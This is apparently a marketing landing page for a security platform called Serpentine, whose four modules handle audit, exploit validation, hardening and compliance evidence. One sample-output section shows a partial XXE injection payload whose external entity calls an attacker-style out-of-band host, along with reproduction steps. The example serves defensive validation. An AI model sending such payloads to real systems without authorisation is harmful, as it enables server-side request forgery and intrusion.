Security Operating System
Your security stack is fragmented.Serpentine replaces it.
One platform for audit, offense, hardening, and governance. Four products sharing one security graph.
Active finding
Exposed admin endpoint
Administrative access exposed without authentication
Napad
Automated exploit confirmed unauthenticated access. Data exfiltration possible.
Output
Proof-of-concept captured • Reproduction steps documented • Business impact assessed
Shared State
Updates exploitability status in shared graph
Most teams would mark this as resolved. It is not.
Validation, remediation, and evidence are disconnected.
The Problem
Security stacks were not built to work together.
Most teams run separate systems for audit, testing, hardening, and compliance. Each system creates its own output. None of those outputs become a shared operating state.
Fragmented operating model
Result: manual correlation, delayed validation, duplicated work
The Shift
From fragmented tools to a security operating system.
Serpentine does not add another dashboard. It changes where security work lives: one shared graph across findings, validation, remediation, and evidence.
Current State: Fragmented Tools
Discovery
Vulnerability scanners
Validation
Manual pentest
Remediation
Ticketing systems
Compliance
Spreadsheets
With Serpentine: Unified System
Discovery
Odbrana
Validation
Napad
Remediation
Postava
Compliance
Regulativa
Reality Check
Security posture is often wrong.
Most systems claim controls are in place. Serpentine shows where reality breaks them.
Declared control state
All production access requires MFA
Policy assertion dated Jan 2024
Observed enforcement state
2 production systems have no MFA enforcement evidence
Detected by Odbrana scan + Regulativa mapping
Why this matters: Breaks SOC 2 attestation · Invalidates ISO control A.5.15
Declared control state
Backups are tested quarterly
BCP policy v2.1 requirement
Observed enforcement state
Last restore test was 274 days ago
No evidence of successful restore since Q1 2025
Why this matters: Audit readiness is not defensible · Control assertion cannot be validated
Declared control state
All critical findings are resolved
Based on ticket status in ticketing system
Observed enforcement state
Exploitability was never validated
3 findings closed without Napad validation
Why this matters: Creates unverified risk exposure · False closure masks active vulnerabilities
This is what Serpentine actually produces
XXE Injection — External Entity Processing
Content-Type: application/xml
<!DOCTYPE root [
<!ENTITY xxe SYSTEM
"http://oast.attacker.pro">
]>
...
DNS callback received from target infrastructure
CVSS 9.1 · CWE-611 · Evidence captured
Exploit Confirmed
Out-of-band DNS callback received
oast.attacker.pro → 203.0.113.42
Reproduction
Send XML payload to endpoint. Observe callback on controlled DNS server.
Proof
External entity resolution confirmed. SSRF to internal network possible.
Linked to finding ODB-2024-0847
Control Contradiction
Audit assertion invalidated. Control requires remediation evidence before re-attestation.
See what your system gets wrong
We'll show real contradictions in your environment.
Book a Demo30-minute technical walkthrough · No slides, real system
The Architecture
Inside the shared security graph.
Serpentine does not move data between disconnected tools. It stores findings, validation, remediation, evidence, controls, assets, risks, and actions in one operating state.
Written by: Postava
Used by: All
Written by: Odbrana
Used by: Napad, Regulativa
Written by: Napad
Used by: Postava, Regulativa
Written by: Postava
Used by: Regulativa
Written by: All
Used by: Regulativa
Written by: Regulativa
Used by: All
Written by: All
Used by: Reporting
Written by: All
Used by: Workflow
Hover any entity to see which modules write and read it
This is not a dashboard aggregating external data. This is an operating system where every action updates the same state.
The Platform
Four modules. One operating state.
Odbrana
Security Audit
Ingests scanner output and structures it into the shared graph.
Napad
Offensive Security
Tests whether findings are actually exploitable in context.
Postava
Infrastructure Hardening
Generates or applies hardening policy and captures proof.
Regulativa
Compliance Governance
Maps outcomes to frameworks and produces audit-ready evidence.
All modules read and write to the same security graph.
The Mechanism
How Serpentine turns findings into evidence.
Normalize
Odbrana
Turns scanner output into structured findings.
Updates the same operating state
Validate
Napad
Confirms whether the risk is exploitable.
Updates the same operating state
Remediate
Postava
Creates or applies hardening policy.
Updates the same operating state
Prove
Regulativa
Maps the outcome to controls and evidence.
Updates the same operating state
The value is not the steps.
The value is that every step updates one system.
Use Cases
Built for the teams responsible for proving security.
CISO
- Risk visibility across all domains
- Board-ready security posture
- Audit-ready evidence on demand
MSSP / Security Firm
- Repeatable delivery model
- Client-ready reporting
- Multi-tenant workflows
Industries
Built for environments where evidence matters.
Trust
Trust, published.
Security platforms cannot ask for trust while hiding their own controls. SPNT publishes its security posture, subprocessors, responsible disclosure policy, and data handling documentation.
This is what we'll show you
This is not a demo environment. This is how your system will be evaluated.
One finding. Full lifecycle. Real validation.
See what your current stack misses.
Book a live walkthrough. We will show how one finding exposes gaps in validation, remediation, and evidence that most teams never see.